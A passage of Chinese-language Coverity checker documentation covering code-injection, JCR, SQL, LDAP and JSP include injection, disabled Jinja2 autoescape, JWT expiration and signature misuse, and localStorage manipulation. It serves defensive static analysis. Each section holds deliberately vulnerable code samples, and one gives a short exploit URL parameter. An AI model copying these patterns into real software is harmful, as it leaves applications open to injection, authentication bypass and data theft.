4.192.1. 概述

支持的语言：. Java

JAVA_CODE_INJECTION 查找 Java 代码注入漏洞；当不受控制的动态数据被传递给接受 Java 源代码或字节码的 API 时，就会产生此类漏洞。此安全漏洞可能允许攻击者绕过安全检查或执行任意代码。

默认禁用：`JAVA_CODE_INJECTION` 默认禁用。要启用它，您可以在 `cov-analyze` 命令中使用 `--enable` 选项。

Web 应用程序安全检查器启用：要启用 `JAVA_CODE_INJECTION` 以及其他 Web 应用程序检查器，请使用 `--webapp-security` 选项。

4.192.2. 示例

本部分提供了一个或多个 `JAVA_CODE_INJECTION` 示例。

在下面的示例中，`dx` 参数被视为已污染。该参数被连接到字符串代码。然后，此被污染的值被传递给 `CtNewMethod.make`（被视为此检查器的数据消费者）。

```
String dx = request.getParameter("dx");
CtClass point = ClassPool.getDefault().get("Point");
String code = "public int xmove(int dx) { x += " + dx + " ; }";
CtMethod m = CtNewMethod.make(code, point);
point.addMethod(m);
```

攻击者可以定义此 Java 方法以执行任意代码。

4.192.3. 事件

本部分描述了 JAVA_CODE_INJECTION 检查器生成的一个或多个事件。

- sink - (主要事件) 识别被污染的数据到达数据消费者的位置。
- remediation - 提供关于修复安全漏洞的信息。

数据流事件

- member_init - 使用被污染的数据创建类实例同时用被污染的数据初始化其成员。
- object_construction - 使用被污染的数据创建类实例。
- subclass - 创建了类实例以用作超类。
- taint_alias - 为被污染的对象设置了别名。
- taint_path - 将被污染的值赋值给本地变量。
- taint_path_arg - 将被污染的值作为方法的参数。
- taint_path_attr - [仅限 Java] 将被污染的值存储为包含页面、请求、会话或应用程序范围的 Web 应用程序属性。
- taint_path_call - 此方法调用返回被污染的值。
- taint_path_field - 将被污染的值赋值给一个字段。
- taint_path_map_read - 从映射中读取被污染的值。
- taint_path_map_write - 将被污染的值写入映射。
- taint_path_param - 调用方将被污染的参数作为参数传递给此方法。
- taint_path_return - 当前方法返回被污染的值。
- tainted_source - 被污染值所起源的方法。

数据流事件

- member_init - 使用被污染的数据创建类实例同时用被污染的数据初始化其成员。
- object_construction - 使用被污染的数据创建类实例。
- subclass - 创建了类实例以用作超类。
- taint_alias - 为被污染的对象设置了别名。
- taint_path - 将被污染的值赋值给本地变量。

- `taint_path_arg` - 将被污染的值作为方法的参数。
- `taint_path_attr` - [仅限 Java] 将被污染的值存储为包含页面、请求、会话或应用程序范围的 Web 应用程序属性。
- `taint_path_call` - 此方法调用返回被污染的值。
- `taint_path_field` - 将被污染的值赋值给一个字段。
- `taint_path_map_read` - 从映射中读取被污染的值。
- `taint_path_map_write` - 将被污染的值写入映射。
- `taint_path_param` - 调用方将被污染的参数作为参数传递给此方法。
- `taint_path_return` - 当前方法返回被污染的值。
- `tainted_source` - 被污染值所起源的方法。

4.193. JCR_INJECTION

安全检查器

4.193.1. 概述

支持的语言：. Java

JCR_INJECTION 查找 Java 内容库 (JCR) 注入漏洞；当不受控制的动态数据被传递给 JCR 的查询 API 时，就会产生此类漏洞。此安全漏洞可以允许攻击者影响 JCR 的行为、绕过安全控制或获取未经授权的数据。

默认禁用：JCR_INJECTION 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 `--enable` 选项。

Web 应用程序安全检查器启用：要启用 JCR_INJECTION 以及其他 Web 应用程序检查器，请使用 `--webapp-security` 选项。

4.193.2. 示例

本部分提供了一个或多个 JCR_INJECTION 示例。

在下面的示例中，`name` 参数被视为已污染。该参数通过 `query` 字段被连接到 JCR 查询。然后，此被污染的值被传递给 `QueryManager.createQuery`（被视为此检查器的数据消费者）。

```
public QueryResult doQuery(String name) {
    QueryManager queryManager = session.getWorkspace().getQueryManager();
    String query = "select * from nt:base where name= '" + name + "'"
    Query query = queryManager.createQuery(query, Query.JCR_SQL2);
```

```
    return query.execute();
}
```

攻击者可以通过插入单引号更改 JCR 语句的目的。在执行插入后，攻击者可以添加其他语法，以绕过名称检查，而且可以通过其他 JCR 查询泄露其他信息。

4.193.3. 事件

本部分描述了 JCR_INJECTION 检查器生成的一个或多个事件。

- sink - (主要事件) 识别被污染的数据到达数据消费者的位置。
- remediation - 提供关于修复安全漏洞的信息。

数据流事件

- member_init - 使用被污染的数据创建类实例同时用被污染的数据初始化其成员。
- object_construction - 使用被污染的数据创建类实例。
- subclass - 创建了类实例以用作超类。
- taint_alias - 为被污染的对象设置了别名。
- taint_path - 将被污染的值赋值给本地变量。
- taint_path_arg - 将被污染的值作为方法的参数。
- taint_path_attr - [仅限 Java] 将被污染的值存储为包含页面、请求、会话或应用程序范围的 Web 应用程序属性。
- taint_path_call - 此方法调用返回被污染的值。
- taint_path_field - 将被污染的值赋值给一个字段。
- taint_path_map_read - 从映射中读取被污染的值。
- taint_path_map_write - 将被污染的值写入映射。
- taint_path_param - 调用方将被污染的参数作为参数传递给此方法。
- taint_path_return - 当前方法返回被污染的值。
- tainted_source - 被污染值所起源的方法。

4.194. JINJA2_AUTOESCAPE_DISABLED

安全检查器

4.194.1. 概述

支持的语言：. Python

JINJA2_AUTOESCAPE_DISABLED 检查器检查在创建 Jinja2 环境时以 .html、.htm 或 .xml 结尾的模板的 autoescape 属性被禁用的情况。未转义的输入应用于应用程序可能会使系统容易受到跨站点脚本 (XSS) 攻击。

默认禁用：JINJA2_AUTOESCAPE_DISABLED 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

Web 应用程序安全检查器启用：要启用 JINJA2_AUTOESCAPE_DISABLED 以及其他 Web 应用程序检查器，请使用 --webapp-security 选项。

4.194.2. 示例

本部分提供了一个或多个 JINJA2_AUTOESCAPE_DISABLED 示例。

在下面的示例中，针对通过将 autoescape 参数显式设置为 False 来调用 jinja2.Environment() 函数，显示了 JINJA2_AUTOESCAPE_DISABLED 缺陷：

```
import jinja2

loader = FileSystemLoader( searchpath="templates/" )
unsafe2_env = Environment(loader=loader, autoescape=False)
```

4.195. JSHINT.* (JSHint) Analysis

4.195.1. 概述

支持的语言：. JavaScript

Coverity 支持通过 cov-analyze 命令对 JavaScript 代码进行 JSHint 分析。JSHint 是一个开源程序，可报告 JavaScript 代码中的问题。它主要查找与编码风格、编码标准和代码移植性有关的问题。Coverity 分析使用以下格式报告 JSHint 问题：JSHINT.XXXX

JSHINT.XXXX

- JSHINT : JSHint 检查器类型。
- XXXX : JSHint 警告标识符，描述见 jslinterrors.com 或 <http://jshint.com/>。例如，Coverity 分析会通过检查器 JSHINT.W061 将出现 eval is evil 的情况报告为缺陷。

默认禁用：要启用 JSHint 分析，请使用 --enable-jshint 选项。另请参阅 Section 1.2.1，“使用 cov-analyze 启用和禁用检查器”。

Coverity Analysis 提供了可禁用一小部分 JSHint 结果 (Coverity JavaScript 检查器能更好地发现此类结果) 的默认配置。但是，您可以通过使用 --use-jshintrc .jshintrc 选项应用自己的自定义配置，

其中 `.jshintrc` 用于指定您的配置（请访问 <http://jshint.com/docs/>，了解关于 `.jshintrc` 文件配置的信息）。如果不使用该选项，分析将运行默认配置文件并忽略您的源树中的所有 `.jshintrc` 文件。

4.196. JSONWEBTOKEN_IGNORED_EXPIRATION_TIME

安全检查器

4.196.1. 概述

支持的语言：. JavaScript、TypeScript

`JSONWEBTOKEN_IGNORED_EXPIRATION_TIME` 查找在不检查过期时间或 `not-before` 时间时验证 Java Web Tokens (JWT) 的情况。未能检查这些时间允许攻击者在过期后使用被盗或暴力破解的令牌。这可以危害应用程序，并允许攻击者访问敏感信息。

4.196.1.1. 忽略过期时间

忽略过期时间的缺陷被评为具有中等影响，因为攻击者利用令牌的机会窗口比正确检查过期时间长得多。

- Express.js 应用程序：`ignoreExpiration` 属性可在 `jsonwebtoken` 模块实例的 `verify()` 函数的第三个参数中显式设置为 `true`（默认值为 `false`）。请参阅以下代码示例：

```
var jwt = require('jsonwebtoken');

jwt.verify(req.cookies.token, 'test4',
{
    ignoreExpiration: true, // JSONWEBTOKEN_IGNORED_EXPIRATION_TIME defect
    algorithms: ['HS256']
},
function (err, token) {
    res.json(token);
}
);
```

- Hapi.js 应用程序：`ignoreExpiration` 属性可以在 `verifyOptions` 对象中显式设置为 `true`（默认值为 `false`），该对象是设置 JWT 验证的 `server.auth.strategy()` 函数的第三个参数的一部分。请参阅以下代码示例：

```
server.auth.strategy('jwt-auth', 'jwt', {
    key: config.jwt_hmac_secret,
    verifyOptions: { // Provide verification options to jsonwebtoken library
        algorithms: ['HS256'],
        ignoreExpiration: true // JSONWEBTOKEN_IGNORED_EXPIRATION_TIME defect
    }
});
```

```
});
```

4.196.1.2. 忽略 Not Before

忽略 `notBefore` 时间的缺陷被评为具有低影响，因为与忽略过期时间相比，攻击者在令牌变为有效之前利用令牌的机会窗口通常要短得多，因为它在时间上受到严格限制。

- Express.js 应用程序：`ignoreNotBefore` 属性可在 `jsonwebtoken` 模块实例的 `verify()` 函数的第三个参数中显式设置为 `true`（默认值为 `false`）。请参阅以下代码示例：

```
var jwt = require('jsonwebtoken');

jwt.verify(req.cookies.token, 'test4', {
  ignoreNotBefore: true,           // JSONWEBTOKEN_IGNORED_EXPIRATION_TIME defect
  algorithms: ['HS256']
},
function (err, token) {
  res.json(token);
}
);
```

- Hapi.js 应用程序：`ignoreNotBefore` 属性可以在 `verifyOptions` 对象中显式设置为 `true`（默认值为 `false`），该对象是设置 JWT 验证的 `server.auth.strategy()` 函数的第三个参数的一部分。请参阅以下代码示例：

```
server.auth.strategy('jwt-auth', 'jwt', {
  key: config.jwt_hmac_secret,
  verifyOptions: {                 // Provide verification options to jsonwebtoken's
    library
      algorithms: ['HS256'],
      ignoreNotBefore: true        // JSONWEBTOKEN_IGNORED_EXPIRATION_TIME defect
    }
});
```

4.196.2. 启用

默认禁用。可以通过使用 `--webapp-security` 启用。

4.196.3. 示例

本部分提供了一个或多个 `JSONWEBTOKEN_IGNORED_EXPIRATION_TIME` 示例。

在下面的示例中，`verify()` 函数设置为忽略令牌过期时间，因此针对发送到 `jwt.verify()` 的选项中的 `ignoreExpiration` 设置显示 `JSONWEBTOKEN_IGNORED_EXPIRATION_TIME` 缺陷：

```

var express = require('express');
var jwt = require('jsonwebtoken');
var cookieParser = require('cookie-parser');
var config = require('config.json');

var app = express();
app.use(cookieParser());

app.get('/checkToken', function (req, res) {
    if (req.cookies.token) {
        jwt.verify(req.cookies.token, config.key,
        {
            ignoreExpiration: true,
            // JSONWEBTOKEN_IGNORED_EXPIRATION_TIME defect at preceding
line
            algorithms: ['HS256']
        },
        function (err, token) {
            if (err) {
                console.log(err);
            } else {
                res.json(token);
            }
        });
    } else {
        res.send('no token');
    }
});

```

4.196.4. 事件

本部分描述了 JSONWEBTOKEN_IGNORED_EXPIRATION_TIME 检查器生成的一个或多个事件。

- MainEvent - verify() 函数的错误配置。
- Remediation - 提供有关如何通过正确配置验证选项来解决缺陷的建议。

4.196.4.1. 与分类的关系

2017 年 OWASP 十大安全风险

A2:2017-失效的验证

CWE 缺陷库 (CWE)

CWE-613：会话过期时间不足

4.196.5. 缺陷剖析

影响：

- `jwt_expiration` : 中
- `jwt_not_before` : 低

`jwt_expiration` : 忽略 JSON web 令牌的过期时间意味着该令牌永远有效。由于令牌永不过期，因此攻击者有更长的时间窗口来暴力破解令牌值并利用应用程序。

`jwt_not_before` : 忽略 JSON web 令牌的 `notBefore` 设置意味着该令牌将立即生效。由于令牌比预期更早有效，因此攻击者有一个稍大的时间窗口，这样攻击者可以利用该应用程序。

修复：

- `jwt_expiration` : 通过移除 `ignoreExpiration` 属性，或者将 `ignoreExpiration` 显式设置为 `false`，验证令牌仅在有效时被使用。
- `jwt_not_before` : 通过移除 `ignoreNotBefore` 属性，或者将 `ignoreNotBefore` 显式设置为 `false`，验证令牌在有效之前未被使用。
- 在这两种情况下：如果需要容忍少量的时钟偏差，请使用 `verify()` 函数的 `clockTolerance` 设置。

4.197. JSONWEBTOKEN_UNTRUSTED_DECODE

安全检查器

4.197.1. 概述

支持的语言：. Go、JavaScript、TypeScript

`JSONWEBTOKEN_UNTRUSTED_DECODE` 检查器查找 JWT 令牌已解码但其签名未被验证的情况。如果不验证该令牌，攻击者可能提交伪造的令牌并获取敏感数据和功能的访问权限。

当应用程序使用 `decode()` 函数解码 JWT 但未预先验证令牌签名时，会显示此缺陷。不验证 JWT 签名将允许攻击者伪造或更改 JWT 令牌，进而获取用户权限、读取敏感数据、执行敏感命令，具体取决于应用程序的功能。

要修复此缺陷，请始终为 JWT 签名并使用 `verify()` 函数对其进行验证，然后再使用该令牌的内容。请注意，`verify()` 会返回解码的令牌值，因此无需使用 `decode()` 函数。

4.197.1.1. Go

`JSONWEBTOKEN_UNTRUSTED_DECODE` 检查器在以下情况下报告问题：

- `JSONWEBTOKEN_UNTRUSTED_DECODE` 会在使用 `jwt-go` 的函数 `ParseUnverified()`，分析 JWT 声明但不验证 JWT 签名时报告问题。
- `JSONWEBTOKEN_UNTRUSTED_DECODE` 会在使用 `keyFunc` 参数 `nil` 调用 `jwt-go` 的函数 `Parse(tokenString string, keyFunc Keyfunc)` 或 `ParseWithClaims(tokenString string, claims Claims, keyFunc Keyfunc)` 从而禁用签名验证时报告问题。

- JSONWEBTOKEN_UNTRUSTED_DECODE 会在 jwt-go 的 UnsafeAllowNoneSignatureType 常量被用作签名或验证 JWT 的关键参数时报告问题。

JSONWEBTOKEN_UNTRUSTED_DECODE 检查器的 Go 版本默认启用。

4.197.1.2. JavaScript/TypeScript

JSONWEBTOKEN_UNTRUSTED_DECODE 检查器可查找 decode() 被使用的情况。

JSONWEBTOKEN_UNTRUSTED_DECODE 检查器的 JavaScript 版本默认禁用。要启用它与其他 Web 应用程序检查器，请使用 --webapp-security 选项。

4.197.2. 示例

本部分提供了一个或多个 JSONWEBTOKEN_UNTRUSTED_DECODE 示例。

4.197.2.1. Go

在下面的示例中，针对调用 ParseUnverified() 显示了 JSONWEBTOKEN_UNTRUSTED_DECODE 缺陷。

```
package apis

import "github.com/dgrijalva/jwt-go"

func getPayloadFromToken(tokenStr string) (jwt.MapClaims, error) {
    parser := jwt.Parser{SkipClaimsValidation: true}
    token, _, err := parser.ParseUnverified(tokenStr, jwt.MapClaims{})
    return token.Claims.(jwt.MapClaims), err
}
```

在下面的示例中，针对将 ParseWithClaims(tokenString string, claims Claims, keyFunc KeyFunc) 的 keyFunc 参数设置为 nil，显示了 JSONWEBTOKEN_UNTRUSTED_DECODE 缺陷。

```
package apis

import (
    "github.com/dgrijalva/jwt-go"
    "strings"
)

func DecodeJwt2(input, key string) string {
    claims := jwt.MapClaims{}
    input = strings.Replace(input, "v2:", "", 1)
    token, _ := jwt.ParseWithClaims(input, claims, nil)

    if token.Valid {
        return claims["sub"].(string)
    }
    return ""
}
```

```
}
```

在下面的示例中，针对将 `jwt.UnsafeAllowNoneSignatureType` 常量用作函数 `SignedString(key interface{})` 的 `key` 参数，显示了 `JSONWEBTOKEN_UNTRUSTED_DECODE` 缺陷。

```
package apis

import (
    "github.com/dgrijalva/jwt-go"
)

func SignedStringJwt() {
    token := jwt.New(jwt.GetSigningMethod("none"))
    token.SignedString(jwt.UnsafeAllowNoneSignatureType)
}
```

4.197.2.2. JavaScript/TypeScript

下面的代码示例在未验证签名的情况下解码了 JWT。对于对 `jwt.decode()` 的调用，将显示 `JSONWEBTOKEN_UNTRUSTED_DECODE` 缺陷。

```
var jwt = require('jsonwebtoken');

//...

function isLoggedIn(req, res, next) {
    var token = req.cookies['X-Token'];
    if (!token || token === 'undefined') {
        res.status(401).send('You are not authenticated');
    } else {
        var decoded = jwt.decode(token);
        if (decoded && decoded.email && checkuseremail(decoded.email)) {
            return next();
        } else {
            res.status(401).send('You are not authenticated');
        }
    }
}
```

4.197.3. 事件

本部分描述了 `JSONWEBTOKEN_UNTRUSTED_DECODE` 检查器生成的一个或多个事件。

- `MainEvent decode()` 函数是在未先调用 `verify()` 的情况下被调用的，因此解码和使用了未验证的 JWT。
- `Remediation` 提供有关如何通过使用 `verify()` 函数代替 `decode()` 来解决缺陷的建议。

4.198. JSP_DYNAMIC_INCLUDE

安全检查器

4.198.1. 概述

支持的语言：. Java

JSP_DYNAMIC_INCLUDE 查找 JSP 动态包含漏洞；当不受控制的动态数据被用作 JSP 包含路径的一部分时，就会产生此类漏洞。攻击者可以操纵 JSP 的本地路径，并绕过授权或检查敏感信息。

默认禁用：JSP_DYNAMIC_INCLUDE 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

Web 应用程序安全检查器启用：要启用 JSP_DYNAMIC_INCLUDE 以及其他 Web 应用程序检查器，请使用 --webapp-security 选项。

4.198.2. 示例

本部分提供了一个或多个 JSP_DYNAMIC_INCLUDE 示例。

在下面的示例中，在容器中部署了多个 JSP 页面，包括 /WEB-INF/admin/control-everything.jsp（应该只能由管理员访问）和 /index.jsp。

```
<sec:authorize ifAnyGranted="ROLE_ADMIN">
  <jsp:include src="admin/control-everything" />
</sec>

<sec:authorize ifNotGranted="ROLE_ADMIN">
  <jsp:include src="\${param.foo}" />
</sec>
```

当攻击者（不具有 ROLE_ADMIN 标志）发送 foo=admin/control-everything（用于此 JSP 的 URL 映射）时，验证检查 ifAnyGranted="ROLE_ADMIN" 将被绕过。

4.198.3. 事件

本部分描述了 JSP_DYNAMIC_INCLUDE 检查器生成的一个或多个事件。

- sink -（主要事件）识别被污染的数据到达数据消费者的位置。
- remediation - 提供关于修复安全漏洞的信息。

数据流事件

- member_init - 使用被污染的数据创建类实例同时用被污染的数据初始化其成员。
- object_construction - 使用被污染的数据创建类实例。
- subclass - 创建了类实例以用作超类。
- taint_alias - 为被污染的对象设置了别名。

- `taint_path` - 将被污染的值赋值给本地变量。
- `taint_path_arg` - 将被污染的值作为方法的参数。
- `taint_path_attr` - [仅限 Java] 将被污染的值存储为包含页面、请求、会话或应用程序范围的 Web 应用程序属性。
- `taint_path_call` - 此方法调用返回被污染的值。
- `taint_path_field` - 将被污染的值赋值给一个字段。
- `taint_path_map_read` - 从映射中读取被污染的值。
- `taint_path_map_write` - 将被污染的值写入映射。
- `taint_path_param` - 调用方将被污染的参数作为参数传递给此方法。
- `taint_path_return` - 当前方法返回被污染的值。
- `tainted_source` - 被污染值所起源的方法。

4.199. JSP_SQL_INJECTION

安全检查器

4.199.1. 概述

支持的语言：. Java

JSP_SQL_INJECTION 可查找 JSP SQL 注入漏洞；当不受控制的动态数据被传递给 JSTL `<sql:query>` 或 `<sql:update>` 标记时，就会产生此类漏洞。与典型的 SQL 注入类似，注入被污染的数据可能会更改查询的目的，这可能会绕过安全检查或泄露未经授权的数据。

默认禁用：JSP_SQL_INJECTION 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 `--enable` 选项。

Web 应用程序安全检查器启用：要启用 JSP_SQL_INJECTION 以及其他 Web 应用程序检查器，请使用 `--webapp-security` 选项。

4.199.2. 示例

本部分提供了一个或多个 JSP_SQL_INJECTION 示例。

在下面的示例中，JSP 文件使用 JSTL `<sql:query>` 标记。标记的本体包含通过被污染的 HTTP GET 参数 `name` 注入的 SQL 查询。

```
<sql:query dataSource="${ds}" var="db_tainted_and_param_tainted">
    SELECT * from Employees WHERE name = '${param.name}'
</sql:query>
```

攻击者可以通过插入单引号更改 SQL 语句的目的。在执行插入后，攻击者可以添加其他语法，以绕过名称检查，而且可以通过其他 SQL 查询泄露其他信息。

4.199.3. 事件

本部分描述了 JSP_SQL_INJECTION 检查器生成的一个或多个事件。

- sink - (主要事件) 识别被污染的数据到达数据消费者的位置。
- remediation - 提供关于修复安全漏洞的信息。

数据流事件

- member_init - 使用被污染的数据创建类实例同时用被污染的数据初始化其成员。
- object_construction - 使用被污染的数据创建类实例。
- subclass - 创建了类实例以用作超类。
- taint_alias - 为被污染的对象设置了别名。
- taint_path - 将被污染的值赋值给本地变量。
- taint_path_arg - 将被污染的值作为方法的参数。
- taint_path_attr - [仅限 Java] 将被污染的值存储为包含页面、请求、会话或应用程序范围的 Web 应用程序属性。
- taint_path_call - 此方法调用返回被污染的值。
- taint_path_field - 将被污染的值赋值给一个字段。
- taint_path_map_read - 从映射中读取被污染的值。
- taint_path_map_write - 将被污染的值写入映射。
- taint_path_param - 调用方将被污染的参数作为参数传递给此方法。
- taint_path_return - 当前方法返回被污染的值。
- tainted_source - 被污染值所起源的方法。

4.200. LDAP_INJECTION

安全检查器

4.200.1. 概述

支持的语言：. C#、Java、Visual Basic

LDAP_INJECTION 查找轻量目录访问协议 (LDAP) 注入漏洞；当不受控制的动态数据被传递给 LDAP 查询时，就会产生此类漏洞。注入被污染的数据可能会更改查询的目的，这可能会绕过安全检查或泄露未经授权的数据。

默认禁用：LDAP_INJECTION 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

Web 应用程序安全检查器启用：要启用 LDAP_INJECTION 以及其他 Web 应用程序检查器，请使用 --webapp-security 选项。

4.200.2. 示例

本部分提供了一个或多个 LDAP_INJECTION 示例。

4.200.2.1. Java

在下面的示例中，参数 `username` 被污染。该参数被连接到用于 LDAP 筛选器的字符串。此筛选器被传递给 `DirContext.search` (此检查器的数据消费者)。

```
public boolean isValidUser(String username) {  
    ...  
    String searchFilter = "(CN=" + userName + ")";  
    DirContext ctx = getContex();  
    NamingEnumeration answer = ctx.search(baseDN, searchFilter, ctls);  
    ...}
```

攻击者可以通过插入合适的元数据更改 LDAP 筛选器的目的。在执行插入后，攻击者可以添加其他语法，以绕过用户名检查。在该示例中，这可以允许攻击者绕过验证控制。

4.200.2.2. C#

```
using System.DirectoryServices;  
using System.Web.Mvc;  
  
namespace MyWebapp {  
  
    class DirectoryController : Controller {  
  
        protected ActionResult FindMailAddress()  
        {  
            var entry = new DirectoryEntry("LDAP://foobar.com:389",  
                                         "user", "password");  
            var search = new DirectorySearcher(entry)  
            {  
                Filter = "(objectClass=person)" +  
                         "(mail=" + Request["mail_addr"] + ")" // LDAP_INJECTION defect  
            };  
            ViewBag.LdapResult = search.FindAll();  
            return View();  
        }  
    }  
}
```

```
}
```

4.200.2.3. Visual Basic

在下面的示例中，在构造 .Filter 标准的位置报告缺陷：

```
> imports System.DirectoryServices
imports System.Web

Public Class LdapInjection

    Dim ldapUser As String
    Dim ldapPassword As String

    Protected Function FindEmailEntries(request As HttpRequest) As
SearchResultCollection
        Dim entry = new DirectoryEntry("LDAP://foobar.com:389", ldapUser, ldapPassword)

        ' Create LDAP search filter
        Dim search = new DirectorySearcher(entry) With
        {
            .Filter = "(objectClass=person)" + "(mail=" + request("main_address") + ")"
                ' LDAP_INJECTION defect at previous statement
        }

        ' Perform search
        Return search.FindAll()
    End Function

End Class
```

4.200.3. 事件

本部分描述了 LDAP_INJECTION 检查器生成的一个或多个事件。

- sink - (主要事件) 识别被污染的数据到达数据消费者的位置。
- remediation - 提供关于修复安全漏洞的信息。

数据流事件

- member_init - 使用被污染的数据创建类实例同时用被污染的数据初始化其成员。
- object_construction - 使用被污染的数据创建类实例。
- subclass - 创建了类实例以用作超类。
- taint_alias - 为被污染的对象设置了别名。
- taint_path - 将被污染的值赋值给本地变量。

- `taint_path_arg` - 将被污染的值作为方法的参数。
- `taint_path_attr` - [仅限 Java] 将被污染的值存储为包含页面、请求、会话或应用程序范围的 Web 应用程序属性。
- `taint_path_call` - 此方法调用返回被污染的值。
- `taint_path_field` - 将被污染的值赋值给一个字段。
- `taint_path_map_read` - 从映射中读取被污染的值。
- `taint_path_map_write` - 将被污染的值写入映射。
- `taint_path_param` - 调用方将被污染的参数作为参数传递给此方法。
- `taint_path_return` - 当前方法返回被污染的值。
- `tainted_source` - 被污染值所起源的方法。

4.201. LDAP_NOT_CONSTANT

安全审计检查器

4.201.1. 概述

支持的语言 : . C#、Java、Visual Basic

`LDAP_NOT_CONSTANT` 检查器报告使用未转义和非常量值构造的任何 LDAP 查询。最好转义所有动态内容，即使它们来自受信任的数据源。转义可防止任何恶意或非法值改变 LDAP 查询的意图。使用 `LDAP_NOT_CONSTANT` 检查器是防止您的代码出现 LDAP 注入漏洞的一种方法。

如果通过分析确定动态值来自不可信来源，还会报告“高影响”的 `LDAP_INJECTION` 缺陷。

默认禁用：`LDAP_NOT_CONSTANT` 默认禁用。要启用此检查器，请使用 `cov-analyze` 命令的 `--enable` 选项。

安全审计启用：要与其他安全审计功能一起启用 `LDAP_NOT_CONSTANT`，请使用 `--enable-audit-checkers` 选项。有关更多信息，请参阅《Coverity 命令说明》中对 `cov-analyze` 命令的描述。

4.201.2. 缺陷剖析

`LDAP_NOT_CONSTANT` 缺陷的主要事件是将查询传递到 LDAP API 的位置。其他事件标识非常量值并描述如何将其合并到查询字符串中。

4.201.3. 示例

本部分提供了一个或多个 `LDAP_NOT_CONSTANT` 示例。

4.201.3.1. C#

以下 C# 方法使用非常量 `username` 成员来设置 LDAP 筛选器。

```
private string username;

public void addLdapFilter(DirectorySearcher search) {
    // DEFECT: Using a dynamic value in an LDAP query
    search.Filter = "(userPrincipalName=" + username + ")";
}
```

4.201.3.2. Java

以下 Java 代码根据从调用 `getCurrentGroup()` 返回的非常量值构建 LDAP 查询。

```
public void findUserGroup(javax.naming.directory.DirContext dirContext, String
userid) {
    // DEFECT: Using a dynamic value in an LDAP query
    dirContext.search("context",
        "(&(objectClass=user)(sAMAccountName=yourUserName) " +
        "(memberof=CN=" + getCurrentGroup() + ",OU=Users,DC=YourDomain,DC=com))",
        null);
}
```

4.201.3.3. Visual Basic

以下 Visual Basic 方法返回使用 LDAP 搜索电子邮件地址的 `DirectorySearcher`。

```
Public Function FindByEmail(EmailAddress as string) as DirectorySearcher
    // DEFECT: Using a dynamic value in an LDAP query
    Return New DirectorySearcher(
        "(objectClass=person)(mail=" + EmailAddress + ")"
    )
End Function
```

4.202. LOCALSTORAGE_MANIPULATION

(安全) 检查器

4.202.1. 概述

支持的语言：. JavaScript、TypeScript

LOCALSTORAGE_MANIPULATION 报告以下客户端 JavaScript 代码中的缺陷：使用用户控制的字符串在 `localStorage` 中构造密钥。此类代码可能允许攻击者通过重写存储在敏感密钥中的数据或通过添加新密钥来更改应用程序的行为。

默认禁用 : LOCALSTORAGE_MANIPULATION 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

Web 应用程序安全检查器启用 : 要启用 LOCALSTORAGE_MANIPULATION 以及其他 Web 应用程序检查器，请使用 --webapp-security 选项。

这是被污染的数据检查器。有关更多信息，请参阅“Section 6.8, “被污染的数据概述””。

4.202.2. 缺陷剖析

LOCALSTORAGE_MANIPULATION 缺陷显示不可信（被污染）数据形成 localStorage 中的密钥名称的数据流路径。该路径从不可信数据源开始，例如攻击者可能控制的 URL 的属性（例如 window.location.hash）或者来自其他框架的数据。在此处开始，缺陷中的各种事件说明了此被污染数据如何在程序中流动，例如从函数调用的参数到被调用函数的参数。该路径的最终部分显示数据流入 localStorage 中的密钥名称。

4.202.3. 示例

本部分提供了一个或多个 LOCALSTORAGE_MANIPULATION 示例。

如果攻击者将 shoppingCartItem 请求参数设置为 userid，则调用 localStorage.setItem 将重写 localStorage 中的 userid 密钥。

```
function extract(str, key) {
    if (str == null) return '';
    var keyStart = str.indexOf(key + "=");
    if (-1 === keyStart) return '';
    var valStart = 1 + str.indexOf("=", keyStart);
    var valEnd = str.indexOf("&", keyStart);
    var val = -1 === valEnd ? str.substring(valStart) : str.substring(valStart, valEnd);
    return val;
}

function init() {
    localStorage.setItem("userid", 1001);

    var h = location.search.substring(1);
    if (h.indexOf("shoppingCartItem=") >= 0) {
        var itemName = extract(h, "shoppingCartItem");
        var storedQuantity = localStorage.getItem(itemName);
        var previousQuantity =
            (storedQuantity === undefined) ? 0 : parseInt(storedQuantity);
        localStorage.setItem(itemName, previousQuantity + 1);
    }

    console.log(localStorage.getItem("userid"));
}
window.onload = init;
```

利用示例：将以下代码段追加至页面 URL 可以更改 localStorage 中存储的 userid 值。

```
?shoppingCartItem=userid
```

4.202.4. 选项

本部分描述了一个或多个 LOCALSTORAGE_MANIPULATION 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- LOCALSTORAGE_MANIPULATION:distrust_all:<boolean> - 将此选项设置为 true 等同于将此检查器的所有 trust_* 检查器选项设置为 false。默认值为 LOCALSTORAGE_MANIPULATION:distrust_all:false。

如果将 cov-analyze 命令的 --webapp-security-aggressiveness-level 选项设置为 high，则该检查器选项会自动设置为 true。

- LOCALSTORAGE_MANIPULATION:trust_js_client_cookie:<boolean> - 如果将此选项设置为 false，则分析不会信任来自客户端 JavaScript 代码中的 cookie 的数据，例如来自 document.cookie。此选项之前称为 trust_client_cookie。默认值为 LOCALSTORAGE_MANIPULATION:trust_js_client_cookie:true。
- LOCALSTORAGE_MANIPULATION:trust_js_client_external:<boolean> - 如果将此选项设置为 false，则分析不会信任来自 XMLHttpRequest 的响应的数据或客户端 JavaScript 代码中的类似数据。请注意：此选项之前称为 trust_external。默认值为 LOCALSTORAGE_MANIPULATION:trust_js_client_external:false。
- LOCALSTORAGE_MANIPULATION:trust_js_client_html_element:<boolean> - 如果将此选项设置为 false，则分析不会信任来自 HTML 元素中用户输入的数据，例如客户端 JavaScript 代码中的 textarea 和 input 元素。默认值为 LOCALSTORAGE_MANIPULATION:trust_js_client_html_element:true。
- LOCALSTORAGE_MANIPULATION:trust_js_client_http_header:<boolean> - 如果将此选项设置为 false，则分析不会信任来自 XMLHttpRequest 的响应的 HTTP 响应头文件的数据或客户端 JavaScript 代码中的类似数据。默认值为 LOCALSTORAGE_MANIPULATION:trust_js_client_http_header:true。
- LOCALSTORAGE_MANIPULATION:trust_js_client_other_origin:<boolean> - 如果将此选项设置为 false，则分析不会信任来自客户端 JavaScript 代码中其他框架或其他源中内容的数据，例如来自 window.name。默认值为 LOCALSTORAGE_MANIPULATION:trust_js_client_other_origin:false。
